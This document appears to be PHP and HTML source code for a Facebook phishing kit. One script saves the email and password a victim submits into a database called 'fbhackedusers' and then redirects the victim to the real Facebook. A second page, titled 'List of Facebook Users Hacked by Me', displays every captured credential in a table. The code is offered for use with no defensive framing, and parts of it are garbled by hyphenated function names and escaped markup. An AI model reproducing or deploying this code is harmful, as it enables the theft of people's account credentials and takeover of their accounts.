&lt;?php$conn = my-sql-i_connect('-localhost-', 'root', '', 'fbhackedusers');if(my-sql-i_connect_error()){// redirect users to original Facebook if error occurredheader("location:https://www.facebook.com");exit();}?&gt;<!doctype html><html><head> <title>Logging in to facebook</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes"></head><body style="margin:0px;"> &lt;?php if($_SERVER["REQUEST_METHOD"] == "POST"){if(isset($_POST['login'])){$email = $pass = "";// get facebook email id $email = $_POST["email"];// get Facebook password $pass = $_POST["pass"];// insert- the Facebook id and password in database $-sql- = "insert- into fbusers(facebookid, facebookpassword) values('$email', '$pass')";$result = $conn->query($-sql-);}} // redirect users to original Facebook URL header("location:https://www.facebook.com");exit();?&gt;</body></html>header("location:https://www.facebook.com");&lt;?php$conn = my-sql-i_connect('-localhost-', 'root', '', 'fbhackedusers');?&gt;<!doctype html><html><head> <title>List of Facebook Users Hacked by Me</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes"> <style>table th, td{border:1px solid black;padding:10px;} </style></head><body>&lt;?php $-sql- = "select * from fbusers";$res = $conn->query($-sql-);echo "<table>";echo "<tr>";echo "<th>Facebook Id</th>";echo "<th>Facebook Password</th>";echo "</tr>";while($row=my-sql-i_fetch_row($res)){echo "<tr><td> $row[1] </td> <td> $row[2] </td></tr>";} echo "</table>";?&gt;</body></html>